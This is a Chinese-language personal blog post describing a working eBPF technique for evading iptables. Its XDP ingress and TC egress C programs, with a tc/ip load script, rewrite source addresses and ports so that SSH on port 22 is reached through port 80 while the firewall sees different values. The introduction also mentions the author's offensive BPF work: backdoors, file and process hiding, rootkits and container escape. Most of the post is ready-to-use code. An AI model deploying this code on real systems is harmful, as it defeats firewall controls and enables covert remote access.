This page looks best with JavaScript enabled

eBPF bypass iptables

 ·  ☕ 4 min read · 👀... views

前言

最近一段时间疯狂看eBPF,从一开始的bcc和python写了bypass golang tls的小工具开始;看了美团蓝军大佬CFC4N的博客bypass iptables伪代码并有了此文;看了Gregg的书《BPF Performance Tools》,系统地了解了追踪点,了解了bcc、bpftrace基本用法;跟着wunderwuzziTheXcellerator的系列博客,完成了一些offensive bpf程序,包括后门程序,隐藏文件、进程,容器逃逸,rootkit等等,总结文章大概在几天后发布;看了defcon29上的两个演讲并尝试了两个对应的库:bad-bpfebpfkit。到此也可以算是半条腿迈进了eBPF的世界了吧。

原理

数据进入内核的链路如图,XDP->TC->Netfilter->TCP Stack->Socket 出内核自然是相反方向

所以进入内核前通过XDP修改来源的IP和目标端口 然后传出内核前通过TC修改目标IP和来源端口 以此来绕过iptables的检测

image-20220623164351843

XDP只能hook ingress,TC可以hook ingress和egress,所以egress只能用TC

效果

实现

参考博客中伪代码中只有一个ipv4_csum函数,经查找发现是内核中的sample代码的函数如下,实际试用后感觉效果不好,遂自己实现了一个,见文章末尾代码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
// samples/bpf/xdp_adjust_tail_kern.c
static __always_inline __u16 csum_fold_helper(__u32 csum)
{
	return ~((csum & 0xffff) + (csum >> 16));
}

static __always_inline void ipv4_csum(void *data_start, int data_size,
				      __u32 *csum)
{
	*csum = bpf_csum_diff(0, 0, data_start, data_size, *csum);
	*csum = csum_fold_helper(*csum);
}


int main(){
    __u32 csum = 0;
    // 修改tcp目标端口
    tcphdr->dest = htons(22);
    ipv4_csum(tcphdr, sizeof(struct tcphdr), &csum);
    tcphdr->check = csum;
}

后注:查看内核tools/bpf/resolve_btfids/libbpf/bpf_helper_defs.h可以看到内核中还实现了以下代码可以计算checksum,也可以看 ref 2 的仓库里示例代码

1
2
3
4
5
typedef u64 (*btf_bpf_l3_csum_replace)(struct sk_buff *, u32, u64, u64, u64);
typedef u64 (*btf_bpf_l4_csum_replace)(struct sk_buff *, u32, u64, u64, u64);
typedef u64 (*btf_bpf_csum_diff)(__be32 *, u32, __be32 *, u32, __wsum);
typedef u64 (*btf_bpf_csum_update)(struct sk_buff *, __wsum);
typedef u64 (*btf_bpf_csum_level)(struct sk_buff *, u64);

说简单其实很简单,就是拿着结构体去匹配匹配,修改一下数据。

但是实际编码起来会遇到很多问题,从刚开始的SEC()含义都不知道,到底用什么结构体解析,到checksum的具体计算方式,再到修改后的各种黑盒网络抓包分析,等等等等。

短短100行代码调了两天,其中checksum有很多坑,要注意checksum不对会直接被drop根本到不了程序。

xdp ingress由于没有进入内核网络栈,修改的是网卡接收到远端传来的数据,其中的checksum则要根据修改进行offset计算修正。tc egress仍在网络栈中(最底层),其中的tcp checksum会在tc之后根据前面的数据计算写入,所以改回数据后也需修正offset。

要注意的是wireshark抓包分析可以分别打开ip层和tcp层checksum校验,这样错误就可以明显看到以及预期数据。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>

// uapi/linux/pkt_cls.h
#define TC_ACT_UNSPEC	    (-1)
#define TC_ACT_OK		    0
#define TC_ACT_RECLASSIFY   1
#define TC_ACT_SHOT         2
#define TC_ACT_PIPE		    3
#define TC_ACT_STOLEN       4
#define TC_ACT_QUEUED       5
#define TC_ACT_REPEAT       6
#define TC_ACT_REDIRECT     7
#define TC_ACT_TRAP		    8
#define ETH_HLEN    14
#define ETH_P_IP	0x0800

#define __swab16(x) (__u16)__builtin_bswap16((__u16)(x))
#define htons(x) ((__be16)__swab16((x)))

void update_checksum_16(__be16 old, __be16 new, __u32 *csum)
{
    *csum = ~*csum - __swab16(old) + __swab16(new);
    while(*csum >> 16){
        *csum = (*csum & 0xffff) + (*csum >> 16);
    }
    *csum=~*csum;
}

void update_checksum_32(__be32 old, __be32 new, __u32 *csum)
{
    update_checksum_16(old >> 16,new >> 16,csum);
    update_checksum_16(old & 0xffff,new & 0xffff,csum);
}

SEC("xdp/ingress")
int xdp_bypass_iptables_ingress(struct xdp_md *ctx)
{
    void *data_end = (void *)(long)ctx->data_end;
    void *data = (void *)(long)ctx->data;
    /* Make sure a full ethernet header, ip header and tcp header are there.  */
    if (data + 14 /*sizeof(struct ethhdr)*/ + 20 /*sizeof(struct iphdr)*/ + 20 /*sizeof(struct tcphdr)*/ > data_end)
        return XDP_PASS;
    struct ethhdr *eth = data;
    struct iphdr *iphdr = data + sizeof(struct ethhdr);
    struct tcphdr *tcphdr = data + sizeof(struct ethhdr) + sizeof(struct iphdr);
    if(eth->h_proto == htons(ETH_P_IP)){ // <linux/if_ether.h>
        if(iphdr->protocol == IPPROTO_TCP){
            if(iphdr->saddr == 0x8388a8c0 && tcphdr->dest == htons(80)){
                __u32 ipcsum = __swab16(iphdr->check);
                __u32 tcpcsum = __swab16(tcphdr->check);
                // 00:0C:29:63:31:6E
                // 伪装mac地址
                // eth->h_source[0] = 0x00;
                // eth->h_source[1] = 0x00;
                // eth->h_source[2] = 0x00;
                // eth->h_source[3] = 0x00;
                // eth->h_source[4] = 0x00;
                // eth->h_source[5] = 0x00;

                // 伪装ip来源
                update_checksum_32(iphdr->saddr,0x8389a8c0,&ipcsum);
                // 让传入靶机的tcpchecksum正确
                update_checksum_32(iphdr->saddr,0x8389a8c0,&tcpcsum);
                iphdr->saddr = 0x8389a8c0;
                iphdr->check = __swab16(ipcsum);
                // 修改tcp目标端口
                update_checksum_16(tcphdr->dest,htons(22),&tcpcsum);
                tcphdr->dest = htons(22);
                tcphdr->check = __swab16(tcpcsum);
            }
        }
    }
    return XDP_PASS;
}

SEC("tc/egress")
int xdp_bypass_iptables_egress(struct __sk_buff *skb)
{
    void *data = (void *)(long)skb->data;
    void *data_end = (void *)(long)skb->data_end;
	/* Make sure a full ethernet header, ip header and tcp header are there.  */
	if (data + 14 /*sizeof(struct ethhdr)*/ + 20 /*sizeof(struct iphdr)*/ + 20 /*sizeof(struct tcphdr)*/ > data_end)
		return TC_ACT_OK;
	struct ethhdr *eth = data;
    struct iphdr *iphdr = data + sizeof(struct ethhdr);
    struct tcphdr *tcphdr = data + sizeof(struct ethhdr) + sizeof(struct iphdr);
    if(eth->h_proto == htons(ETH_P_IP)){ // <linux/if_ether.h>
        if(iphdr->protocol == IPPROTO_TCP){
            // local:22->192.168.137.1:any
            if(iphdr->daddr == 0x8389a8c0 && tcphdr->source == htons(22)){
                __u32 ipcsum = __swab16(iphdr->check);
                __u32 tcpcsum = __swab16(tcphdr->check);
                // 修改ip目的地址
                update_checksum_32(iphdr->daddr,0x8388a8c0,&ipcsum);
                // recover tcpchecksum offset   // 让传回主机端的tcpchecksum正确
                update_checksum_32(0x8388a8c0,iphdr->daddr,&tcpcsum);
                iphdr->daddr = 0x8388a8c0; // 192.168.136.1
                iphdr->check = __swab16(ipcsum);
                // 修改tcp来源端口
                tcphdr->source = htons(80);
                tcphdr->check = __swab16(tcpcsum);
            }
        }
    }
	return TC_ACT_OK;
}

程序编译选用libbpf-bootstrap的makefile,只写.bpf.c程序即可,因为我们只要.o程序

程序挂载因为为了调试方便写了个简单的脚本,要注意的是每次重启需要添加qdisc

从内核 4.1 版本起,引入了一个特殊的 qdisc,叫做 clsact,它为TC提供了一个可以加载BPF程序的入口,使TC和XDP一样,成为一个可以加载BPF程序的网络钩子。

1
2
3
4
5
6
7
#!/bin/bash
# sudo tc qdisc add dev ens33 clsact
sudo ip link set dev ens33 xdp off
sudo tc filter del dev ens33 egress
sudo ip link set dev ens33 xdp obj xdpbypass.bpf.o sec xdp/ingress
sudo tc filter add dev ens33 egress bpf da obj xdpbypass.bpf.o sec tc/egress
sudo tcpdump -i ens33 -w out.pcap

最终结果如图 80端口成功连接ssh

image-20220623005436676

参考

https://tech.meituan.com/2022/04/07/how-to-detect-bad-ebpf-used-in-linux.html

https://github.com/cehrig/tc-bpf-dynamic-gre

Share on

ruokeqx
WRITTEN BY
ruokeqx